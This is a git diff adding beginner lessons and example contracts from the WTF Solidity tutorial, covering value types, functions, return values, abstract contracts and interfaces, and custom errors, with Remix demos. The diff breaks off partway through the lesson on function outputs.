b/SolidityBasics_Part1_Fundamentals/step14/InterfaceDemo.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +interface Base { + function getFirstName() external pure returns(string memory); + function getLastName() external pure returns(string memory); +} +contract BaseImpl is Base{ + function getFirstName() external pure override returns(string memory){ + return "Amazing"; + } + function getLastName() external pure override returns(string memory){ + return "Ang"; + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step14/img/14-1.png b/SolidityBasics_Part1_Fundamentals/step14/img/14-1.png new file mode 100644 index 000000000..45a26053d Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step14/img/14-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step14/img/14-2.png b/SolidityBasics_Part1_Fundamentals/step14/img/14-2.png new file mode 100644 index 000000000..3724e906e Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step14/img/14-2.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step14/step1.md b/SolidityBasics_Part1_Fundamentals/step14/step1.md new file mode 100644 index 000000000..a15dd2ef6 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step14/step1.md @@ -0,0 +1,136 @@ +--- +title: 14. Abstract and Interface +tags: + - solidity + - basic + - wtfacademy + - abstract + - interface +--- + +# WTF Solidity Tutorial: 14. Abstract and Interface + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this section, we will introduce the `abstract` and `interface` contracts in Solidity, using the interface of `ERC721` as an example. They are used to write contract templates and reduce code redundancy. + +## Abstract contract + +If a contract contains at least one unimplemented function (no contents in the function body `{}`), it must be labelled as `abstract`; Otherwise it will not compile. Moreover, the unimplemented function needs to be labelled as `virtual`. +Take our previous [Insertion Sort Contract](https://github.com/AmazingAng/WTF-Solidity/tree/main/07_InsertionSort) as an example, +if we haven't figured out how to implement the insertion sort function, we can mark the contract as `abstract`, and let others overwrite it in the future. + +```solidity +abstract contract InsertionSort{ + function insertionSort(uint[] memory a) public pure virtual returns(uint[] memory); +} +``` + +## Interface + +The `interface` contract is similar to the `abstract` contract, but it requires no functions to be implemented. Rules of the interface: + +1. Cannot contain state variables. +2. Cannot contain constructors. +3. Cannot inherit non-interface contracts. +4. All functions must be external and cannot have contents in the function body. +5. The contract that inherits the interface contract must implement all the functions defined in it. + +Although the interface does not implement any functionality, it is the skeleton of smart contracts. The interface +defines what the contract does and how to interact with it: if a smart contract implements an interface (like `ERC20` or `ERC721`), +other Dapps and smart contracts will know how to interact with it. Because it provides two important pieces of information: + +1. The `bytes4` selector for each function in the contract, and the function signatures `function name (parameter type)`. +2. Interface id (see [EIP165](https://eips.ethereum.org/EIPS/eip-165) for more information) + +In addition, the interface is equivalent to the contract `ABI` (Application Binary Interface), +and they can be converted to each other: compiling the interface contract will give you the contract `ABI`, +and [abi-to-sol tool](https://gnidan.github.io/abi-to-sol/) will convert the `ABI` back to the interface contract. + +We take the `IERC721` contract, the interface for the `ERC721` token standard, as an example. It consists of 3 events and 9 functions, +which all `ERC721` contracts need to implement. In the interface, each function ends with `;` instead of the function body `{ }`. Moreover, every function in the interface contract is by default `virtual`, so you do not need to label the function as `virtual` explicitly. + +```solidity +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom(address from, address to, uint256 tokenId) external; + + function transferFrom(address from, address to, uint256 tokenId) external; + + function approve(address to, uint256 tokenId) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function setApprovalForAll(address operator, bool _approved) external; + + function isApprovedForAll(address owner, address operator) external view returns (bool); + + function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data) external; +} +``` + +### IERC721 Event +`IERC721` contains 3 events. +- `Transfer` event: emitted during transfer, records the sending address `from`, the receiving address `to`, and `tokenId`. +- `Approval` event: emitted during approval, records the token owner address `owner`, the approved address `approved`, and `tokenId`. +- `ApprovalForAll` event: emitted during batch approval, records the owner address `owner` of batch approval, the approved address `operator`, and whether the approve is enabled or disabled `approved`. + +### IERC721 Function +`IERC721` contains 3 events. +- `balanceOf`: Count all NFTs held by an owner. +- `ownerOf`: Find the owner of an NFT (`tokenId`). +- `transferFrom`: Transfer ownership of an NFT with `tokenId` from `from` to `to`. +- `safeTransferFrom`: Transfer ownership of an NFT with `tokenId` from `from` to `to`. Extra check: if the receiver is a contract address, it will be required to implement the `ERC721Receiver` interface. +- `approve`: Enable or disable another address to manage your NFT. +- `getApproved`: Get the approved address for a single NFT. +- `setApprovalForAll`: Enable or disable approval for a third party to manage all your NFTs in this contract. +- `isApprovedForAll`: Query if an address is an authorized operator for another address. +- `safeTransferFrom`: Overloaded function for safe transfer, containing `data` in its parameters. + + +### When to use an interface? +If we know that a contract implements the `IERC721` interface, we can interact with it without knowing its detailed implementation. + +The Bored Ape Yacht Club `BAYC` is an `ERC721` NFT, which implements all functions in the `IERC721` interface. We can interact with the `BAYC` contract with the `IERC721` interface and its contract address, without knowing its source code. +For example, we can use `balanceOf()` to query the `BAYC` balance of an address or use `safeTransferFrom()` to transfer a `BAYC` NFT. + + +```solidity +contract interactBAYC { + // Use BAYC address to create interface contract variables (ETH Mainnet) + IERC721 BAYC = IERC721(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D); + + // Call BAYC's balanceOf() to query the open interest through the interface + function balanceOfBAYC(address owner) external view returns (uint256 balance){ + return BAYC.balanceOf(owner); + } + + // Safe transfer by calling BAYC's safeTransferFrom() through the interface + function safeTransferFromBAYC(address from, address to, uint256 tokenId) external{ + BAYC.safeTransferFrom(from, to, tokenId); + } +} +``` + +## Remix demo +1. Abstract example: + ![14-1](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/14_Interface_en/step1/img/14-1.png) +2. Interface example: + ![14-2](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/14_Interface_en/step1/img/14-2.png) + +## Summary +In this chapter, we introduced the `abstract` and `interface` contracts in Solidity, which are used to write contract templates and reduce code redundancy. +We also learned the interface of the `ERC721` token standard and how to interact with the `BAYC` contract using the interface. diff --git a/SolidityBasics_Part1_Fundamentals/step15/Error.sol b/SolidityBasics_Part1_Fundamentals/step15/Error.sol new file mode 100644 index 000000000..7118e782c --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step15/Error.sol @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// 自定义error +error TransferNotOwner(); + +contract Errors{ + // A set of mappings that record the Owner of each TokenId + mapping(uint256 => address) private _owners; + + // Error : gas cost 24445 + function transferOwner1(uint256 tokenId, address newOwner) public { + if(_owners[tokenId] != msg.sender){ + revert TransferNotOwner(); + } + _owners[tokenId] = newOwner; + } + + // require : gas cost 24743 + function transferOwner2(uint256 tokenId, address newOwner) public { + require(_owners[tokenId] == msg.sender, "Transfer Not Owner"); + _owners[tokenId] = newOwner; + } + + // assert : gas cost 24446 + function transferOwner3(uint256 tokenId, address newOwner) public { + assert(_owners[tokenId] == msg.sender); + _owners[tokenId] = newOwner; + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step15/img/15-1.png b/SolidityBasics_Part1_Fundamentals/step15/img/15-1.png new file mode 100644 index 000000000..9eb58bb39 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step15/img/15-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step15/img/15-2.png b/SolidityBasics_Part1_Fundamentals/step15/img/15-2.png new file mode 100644 index 000000000..33042bce7 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step15/img/15-2.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step15/img/15-3.png b/SolidityBasics_Part1_Fundamentals/step15/img/15-3.png new file mode 100644 index 000000000..8d50456f3 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step15/img/15-3.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step15/step1.md b/SolidityBasics_Part1_Fundamentals/step15/step1.md new file mode 100644 index 000000000..3d6c69925 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step15/step1.md @@ -0,0 +1,111 @@ +--- +title: 15. Errors +tags: + - solidity + - advanced + - wtfacademy + - error + - revert/assert/require +--- + +# WTF Solidity Tutorial: 15. Errors + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this chapter, we will introduce three ways to throw exceptions in solidity: `error`, `require`, and `assert`. + +## Errors +Solidity has many functions for error handling. Errors can occur at compile time or runtime. + +### Error +The `error` statement is a new feature in solidity `0.8`. It saves gas and informs users why the operation failed. It is the recommended way to throw errors in solidity. +Custom errors are defined using the error statement, which can be used inside and outside of contracts. Below, we created a `TransferNotOwner` error, which will throw an error when the caller is not the token `owner` during the transfer: + +```solidity +error TransferNotOwner(); // custom error +``` + +In functions, `error` must be used together with the `revert` statement. + +```solidity +function transferOwner1(uint256 tokenId, address newOwner) public { + if(_owners[tokenId] != msg.sender){ + revert TransferNotOwner(); + } + _owners[tokenId] = newOwner; +} +``` +The `transferOwner1()` function will check if the caller is the owner of the token; if not, it will throw a `TransferNotOwner` error and revert the transaction. + +### Require +The `require` statement was the most commonly used method for error handling prior to solidity `0.8`. It is still popular among developers. + +Syntax of `require`: +``` +require(condition, "error message"); +``` + +An exception will be thrown when the condition is not met. + +Despite its simplicity, the gas consumption is higher than `error` statement: the gas consumption grows linearly as the length of the error message increases. + +Now, let's rewrite the above `transferOwner` function with the `require` statement: +```solidity +function transferOwner2(uint256 tokenId, address newOwner) public { + require(_owners[tokenId] == msg.sender, "Transfer Not Owner"); + _owners[tokenId] = newOwner; +} +``` + +### Assert +The `assert` statement is generally used for debugging purposes because it does not include an error message to inform the user. +Syntax of `assert`: +```solidity +assert(condition); +``` +If the condition is not met, an error will be thrown. + +Let's rewrite the `transferOwner` function with the `assert` statement: +```solidity + function transferOwner3(uint256 tokenId, address newOwner) public { + assert(_owners[tokenId] == msg.sender); + _owners[tokenId] = newOwner; + } +``` + +## Remix Demo +After deploying `Error` contract. + +1. `error`: Enter a `uint256` number and a non-zero address, and call the `transferOwner1()` function. The console will throw a custom `TransferNotOwner` error. + + ![15-1.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/15_Errors_en/step1/img/15-1.png) + +2. `require`: Enter a `uint256` number and a non-zero address, and call the `transferOwner2()` function. The console will throw an error and output the error message `"Transfer Not Owner"`. + + ![15-2.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/15_Errors_en/step1/img/15-2.png) + +3. `assert`: Enter a `uint256` number and non-zero address and call the `transferOwner3` function. The console will throw an error without any error messages. + + ![15-3.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/15_Errors_en/step1/img/15-3.png) + + +## Gas Comparison +Let's compare the gas consumption of `error`, `require`, and `assert`. +You can find the gas consumption for each function call with the Debug button of the remix console: + +1. **gas for `error`**:24457 `wei` +2. **gas for `require`**:24755 `wei` +3. **gas for `assert`**:24473 `wei` + +We can see that the `error` consumes the least gas, followed by the `assert`, while the `require` consumes the most gas! +Therefore, `error` not only informs the user of the error message but also saves gas. + +## Summary +In this chapter, we introduced 3 statements to handle errors in Solidity: `error`, `require`, and `assert`. After comparing their gas consumption, the `error` statement is the cheapest, while `require` has the highest gas consumption. + diff --git a/SolidityBasics_Part1_Fundamentals/step2/ValueTypes.sol b/SolidityBasics_Part1_Fundamentals/step2/ValueTypes.sol new file mode 100644 index 000000000..74c30567e --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step2/ValueTypes.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract ValueTypes{ + // Boolean + bool public _bool = true; + // Boolean operators + bool public _bool1 = !_bool; // logical NOT + bool public _bool2 = _bool && _bool1; // logical AND + bool public _bool3 = _bool || _bool1; // logical OR + bool public _bool4 = _bool == _bool1; // equality + bool public _bool5 = _bool != _bool1; // inequality + + + // Integer + int public _int = -1; + uint public _uint = 1; + uint256 public _number = 20220330; + // Integer operators + uint256 public _number1 = _number + 1; // +,-,*,/ + uint256 public _number2 = 2**2; // exponent + uint256 public _number3 = 7 % 2; // modulo (modulus) + bool public _numberbool = _number2 > _number3; // greater than + + + // Address data type + address public _address = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; + address payable public _address1 = payable(_address); // payable address (allows for token transfer and balance checking) + // Members of addresses + uint256 public balance = _address1.balance; // balance of address + + + // Fixed-size byte arrays + bytes32 public _byte32 = "MiniSolidity"; // bytes32: 0x4d696e69536f6c69646974790000000000000000000000000000000000000000 + bytes1 public _byte = _byte32[0]; // bytes1: 0x4d + + + // Enumeration + // Let uint 0, 1, 2 represent Buy, Hold, Sell + enum ActionSet { Buy, Hold, Sell } + // Create an enum variable called action + ActionSet action = ActionSet.Buy; + + // Enum can be converted into uint + function enumToUint() external view returns(uint){ + return uint(action); + } +} + diff --git a/SolidityBasics_Part1_Fundamentals/step2/img/2-1.png b/SolidityBasics_Part1_Fundamentals/step2/img/2-1.png new file mode 100644 index 000000000..1329e6e84 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step2/img/2-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step2/img/2-2.png b/SolidityBasics_Part1_Fundamentals/step2/img/2-2.png new file mode 100644 index 000000000..7a02f8d95 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step2/img/2-2.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step2/img/2-3.png b/SolidityBasics_Part1_Fundamentals/step2/img/2-3.png new file mode 100644 index 000000000..2ceefaa0e Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step2/img/2-3.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step2/step1.md b/SolidityBasics_Part1_Fundamentals/step2/step1.md new file mode 100644 index 000000000..e8dbd5625 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step2/step1.md @@ -0,0 +1,160 @@ +# WTF Solidity Tutorial: 2. Value Types + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + + +----- + +## Variable Types + +1. **Value Type**:This includes boolean, integer, etc. These variables directly pass values when assigned. + +2. **Reference Type**:including arrays and structures. These variables take up more space, directly pass addresses (similar to pointers) when assigned, and can be modified with multiple variable names. + +3. **Mapping Type**: hash tables in Solidity. + +4. **Function Type**:The Solidity documentation classifies functions into value types. But it's very different from other types, and I put it in a separate category. + +Only the commonly used types will be introduced here. In this chapter, we will introduce value types. + +## Value types + +### 1. Boolean + +Boolean is a binary variable, and its values are `true` or `false`. + +```solidity + // Boolean + bool public _bool = true; +``` + +Operators for Boolean type include: + +- `!` (logical NOT) +- `&&` (logical AND) +- `||` (logical OR) +- `==` (equality) +- `!=` (inequality) + +Code: + +```solidity + // Boolean operators + bool public _bool1 = !_bool; // logical NOT + bool public _bool2 = _bool && _bool1; // logical AND + bool public _bool3 = _bool || _bool1; // logical OR + bool public _bool4 = _bool == _bool1; // equality + bool public _bool5 = _bool != _bool1; // inequality +``` + +From the above source code: the value of the variable `_bool` is `true`; `_bool1` is not`_bool`, which yields `false`; `_bool && _bool1` is `false`;`_bool || _bool1` is `true`;`_bool == _bool1` is `false`;and `_bool != _bool1` is `true`. + +**Important note:** The `&&` and `||` operator follows a short-circuit evaluation rule. This means that for an expression such as `f(x) || g(y)`, if `f(x)` is `true`, `g(y)` will not be evaluated. + +### 2. Integers + +Integers types in Solidity include signed integer `int` and unsigned integer `uint`. It can store up to a 256-bit integers or data units. + +```solidity + // Integer + int public _int = -1; // integers including negative integers + uint public _uint = 1; // unsigned integers + uint256 public _number = 20220330; // 256-bit unsigned integers +``` +Commonly used integer operators include: + +- Inequality operator (which returns a Boolean): `<=`, `<`, `==`, `!=`, `>=`, `>` +- Arithmetic operator: `+`, `-`, `*`, `/`, `%` (modulo), `**` (exponent) + +Code: + +```solidity + // Integer operations + uint256 public _number1 = _number + 1; // +, -, *, / + uint256 public _number2 = 2**2; // Exponent + uint256 public _number3 = 7 % 2; // Modulo (Modulus) + bool public _numberbool = _number2 > _number3; // Greater than +``` + +You can run the above code and check the values of each variable. + +### 3. Addresses + +Addresses have the following 2 types: +- `address`: Holds a 20 byte value (size of an Ethereum address). + +- `address payable`: Same as `address`, but with the additional members `transfer` and `send` to allow ETH transfers. + +Code: + +```solidity + // Address + address public _address = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; + address payable public _address1 = payable(_address); // payable address (can transfer fund and check balance) + // Members of address + uint256 public balance = _address1.balance; // balance of address +``` + +### 4. Fixed-size byte arrays + +Byte arrays in Solidity come in two types: + +- Fixed-length byte arrays: belong to value types, including `byte`, `bytes8`, `bytes32`, etc, depending on the size of each element (maximum 32 bytes). The length of the array can not be modified after declaration. +- Variable-length byte arrays: belong to reference type, including `bytes`, etc. The length of the array can be modified after declaration. We will learn more detail in later chapters + + +Code: + +```solidity + // Fixed-size byte arrays + bytes32 public _byte32 = "MiniSolidity"; + bytes1 public _byte = _byte32[0]; +``` + +In the above code, we assigned the value `MiniSolidity` to the variable `_byte32`, or in hexadecimal: `0x4d696e69536f6c69646974790000000000000000000000000000000000000000` + +And `_byte` takes the value of the first byte of `_byte32`, which is `0x4d`. + +### 5. Enumeration + +Enumeration (`enum`) is a user-defined data type within Solidity. It is mainly used to assign names to `uint`, which keeps the program easy to read. + +Code: + +```solidity + // Let uint 0, 1, 2 represent Buy, Hold, Sell + enum ActionSet { Buy, Hold, Sell } + // Create an enum variable called action + ActionSet action = ActionSet.Buy; +``` + +It can be converted to `uint` easily: + +```solidity + // Enum can be converted into uint + function enumToUint() external view returns(uint){ + return uint(action); + } +``` + +`enum` is a less popular type in Solidity. + +## Demo in Remix + +- After deploying the contract, you can check the values of each variable: + + ![2-1.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/02_ValueTypes_en/step1/img/2-1.png) + +- Conversion between enum and uint: + + ![2-2.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/02_ValueTypes_en/step1/img/2-2.png) + + ![2-3.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/02_ValueTypes_en/step1/img/2-3.png) + +## Summary + +In this chapter, we introduced the variable types in Solidity, they are value type, reference type, mapping type, and function type. Then we introduced commonly used types: boolean, integer, address, fixed-length byte array, and enumeration in value types. We will cover other types in the subsequent tutorials. diff --git a/SolidityBasics_Part1_Fundamentals/step3/Function.sol b/SolidityBasics_Part1_Fundamentals/step3/Function.sol new file mode 100644 index 000000000..23c193ad3 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step3/Function.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract FunctionTypes{ + uint256 public number = 5; + + constructor() payable {} + + // function type + // function () {internal|external} [pure|view|payable] [returns ()] + // default function + function add() external{ + number = number + 1; + } + + // pure: not only does the function not save any data to the blockchain, but it also doesn't read any data from the blockchain. + function addPure(uint256 _number) external pure returns(uint256 new_number){ + new_number = _number+1; + } + + // view: no data will be changed + function addView() external view returns(uint256 new_number) { + new_number = number + 1; + } + + // internal: the function can only be called within the contract itself and any derived contracts + function minus() internal { + number = number - 1; + } + + // external: function can be called by EOA/other contract + function minusCall() external { + minus(); + } + + //payable: money (ETH) can be sent to the contract via this function + function minusPayable() external payable returns(uint256 balance) { + minus(); + balance = address(this).balance; + } +} \ No newline at end of file diff --git a/SolidityBasics_Part1_Fundamentals/step3/img/3-1.png b/SolidityBasics_Part1_Fundamentals/step3/img/3-1.png new file mode 100644 index 000000000..25408fdcb Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step3/img/3-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step3/img/3-2.png b/SolidityBasics_Part1_Fundamentals/step3/img/3-2.png new file mode 100644 index 000000000..6a451846d Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step3/img/3-2.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step3/img/3-3.png b/SolidityBasics_Part1_Fundamentals/step3/img/3-3.png new file mode 100644 index 000000000..ef6bb1649 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step3/img/3-3.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step3/img/3-4.png b/SolidityBasics_Part1_Fundamentals/step3/img/3-4.png new file mode 100644 index 000000000..9be45bbed Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step3/img/3-4.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step3/step1.md b/SolidityBasics_Part1_Fundamentals/step3/step1.md new file mode 100644 index 000000000..7df1b65a3 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step3/step1.md @@ -0,0 +1,170 @@ +# WTF Solidity Tutorial: 3. Function + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + + +--- + +## Function + +Here's the format of a function in Solidity: + +```solidity + function () [internal|external] [pure|view|payable] [returns ()] +``` + +It may seem complex, but let's break it down piece by piece (square brackets indicate optional keywords): + + +1. `function`: To write a function, you need to start with the keyword `function`. + +2. ``: The name of the function. + +3. `()`: The input parameter types and names. + +3. `[internal|external|public|private]`: Function visibility specifiers. There is no default visibility, so you must specify it for each function. There are 4 kinds of them: + + - `public`: Visible to all. + + - `private`: Can only be accessed within this contract, derived contracts cannot use it. + + - `external`: Can only be called from other contracts. But can also be called by `this.f()` inside the contract, where `f` is the function name. + + - `internal`: Can only be accessed internally and by contracts deriving from it. + + **Note 1**: `public` is the default visibility for functions. + + **Note 2**: `public|private|internal` can be also used on state variables. Public variables will automatically generate `getter` functions for querying values. + + **Note 2**: The default visibility for state variables is `internal`. + +4. `[pure|view|payable]`: Keywords that dictate a Solidity functions behavior. `payable` is easy to understand. One can send `ETH` to the contract via `payable` functions. `pure` and `view` are introduced in the next section. + +5. `[returns ()]`: Return variable types and names. + +## WTF is `Pure` and `View`? + +When I started learning `solidity`, I didn't understand `pure` and `view` at all, since they are not common in other languages. `solidity` added these two keywords, because of `gas fee`. The contract state variables are stored on the blockchain, and the `gas fee` is very expensive. If you don't rewrite these variables, you don't need to pay `gas`. You don't need to pay `gas` for calling `pure` and `view` functions. + +The following statements are considered modifying the state: + +1. Writing to state variables. + +2. Emitting events. + +3. Creating other contracts. + +4. Using selfdestruct. + +5. Sending Ether via calls. + +6. Calling any function not marked view or pure. + +7. Using low-level calls. + +8. Using inline assembly that contains certain opcodes. + + +I drew a Mario cartoon to visualize `pure` and `view`. In the picture, the state variable is represented by Princess Peach, keywords are represented by three different characters. + +![WHAT is pure and view in solidity?](https://images.mirror-media.xyz/publication-images/1B9kHsTYnDY_QURSWMmPb.png?height=1028&width=1758) + +- `pure`: Functions containing `pure` keywords cannot read nor write state variables on-chain. Just like the little monster, it can't see or touch Princess Peach. + +- `view`: Functions containing `view` keyword can read but cannot write on-chain state variables. Similar to Mario, able to see Princess but cannot touch. + +- Without `pure` and `view`: Functions can both read and write state variables. Like the `boss` can do whatever he wants. + +## Code + +### 1. pure v.s. view + +We define a state variable `number = 5` + +```solidity + // SPDX-License-Identifier: MIT + pragma solidity ^0.8.21; + contract FunctionTypes{ + uint256 public number = 5; +``` + +Define an `add()` function, add 1 to `number` on every call. + +```solidity + // default + function add() external{ + number = number + 1; + } +``` + +If `add()` contains `pure` keyword, i.e. `function add() pure external`, it will result in an error. Because `pure` cannot read state variables in contract nor write. So what can `pure` do? i.e. you can pass a parameter `_number` to function, let function returns `_number + 1`. + +```solidity + // pure + function addPure(uint256 _number) external pure returns(uint256 new_number){ + new_number = _number+1; + } +``` + +**Example:** +![3-3.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/03_Function_en/step1/img/3-3.png) + +If `add()` contains `view`, i.e. `function add() view external`, it will also result in an error. Because `view` can read, but cannot write state variables. We can modify the function as follows: + +```solidity + // view + function addView() external view returns(uint256 new_number) { + new_number = number + 1; + } +``` + +**Example:** +![3-4.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/03_Function_en/step1/img/3-4.png) + +### 2. internal v.s. external + +```solidity + // internal + function minus() internal { + number = number - 1; + } + + // external + function minusCall() external { + minus(); + } +``` + +Here we defined an `internal minus()` function, `number` will decrease 1 each time the function is called. Since the `internal` function can only be called within the contract itself, we need to define an `external` `minusCall()` function to call `minus()` internally. + +**Example:** +![3-1.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/03_Function_en/step1/img/3-1.png) + +### 3. payable + +```solidity + // payable: money (ETH) can be sent to the contract via this function + function minusPayable() external payable returns(uint256 balance) { + minus(); + balance = address(this).balance; + } +``` + +We defined an `external payable minusPayable()` function, which calls `minus()` and return `ETH` balance of the current contract (`this` keyword can let us query the current contract address). Since the function is `payable`, we can send 1 `ETH` to the contract when calling `minusPayable()`. + +![](https://images.mirror-media.xyz/publication-images/ETDPN8myq7jFfAL8CUAFt.png?height=148&width=588) + +We can see that the contract balance is 1 `ETH` in the return message. + +![](https://images.mirror-media.xyz/publication-images/nGZ2pz0MvzgXuKrENJPYf.png?height=128&width=1130) + +**Example:** +![3-2.png](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/03_Function_en/step1/img/3-2.png) + +## Summary + +In this section, we introduced `solidity` function type. `pure` and `view` keywords are difficult to understand since they are not common in other languages. You don't need to pay gas fees for calling `pure` or `view` functions, since they don't modify the on-chain data. diff --git a/SolidityBasics_Part1_Fundamentals/step4/Return.sol b/SolidityBasics_Part1_Fundamentals/step4/Return.sol new file mode 100644 index 000000000..210e58a90 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step4/Return.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// Return multiple variables +// Named returns +// Destructuring assignments + +contract Return { + // Return multiple variables + function returnMultiple() public pure returns(uint256, bool, uint256[3] memory){ + return(1, true, [uint256(1),2,5]); + } + + // Named returns + function returnNamed() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + _number = 2; + _bool = false; + _array = [uint256(3),2,1]; + } + + // Named returns, still supports return + function returnNamed2() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ + return(1, true, [uint256(1),2,5]); + } + + // Read return values, destructuring assignments + function readReturn() public pure{ + // Read all return values + uint256 _number; + bool _bool; + bool _bool2; + uint256[3] memory _array; + (_number, _bool, _array) = returnNamed(); + + // Read part of return values, destructuring assignments + (, _bool2, ) = returnNamed(); + } +} diff --git a/SolidityBasics_Part1_Fundamentals/step4/img/4-1.png b/SolidityBasics_Part1_Fundamentals/step4/img/4-1.png new file mode 100644 index 000000000..0f0c213b4 Binary files /dev/null and b/SolidityBasics_Part1_Fundamentals/step4/img/4-1.png differ diff --git a/SolidityBasics_Part1_Fundamentals/step4/step1.md b/SolidityBasics_Part1_Fundamentals/step4/step1.md new file mode 100644 index 000000000..b89c1e2b2 --- /dev/null +++ b/SolidityBasics_Part1_Fundamentals/step4/step1.md @@ -0,0 +1,74 @@ +# WTF Solidity Tutorial: 4. Function Output (return/returns) + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + + +----- + +In this chapter, we will introduce the `Solidity` function output, including returning multiple values, named returns, and reading full or part of return values using destructuring assignments. + +## Return values (return and returns) +There are two keywords related to function output: `return` and `returns`: +- `returns` is added after the function name to declare variable type and variable name; +- `return` is used in the function body and returns desired variables. + +```solidity + // returning 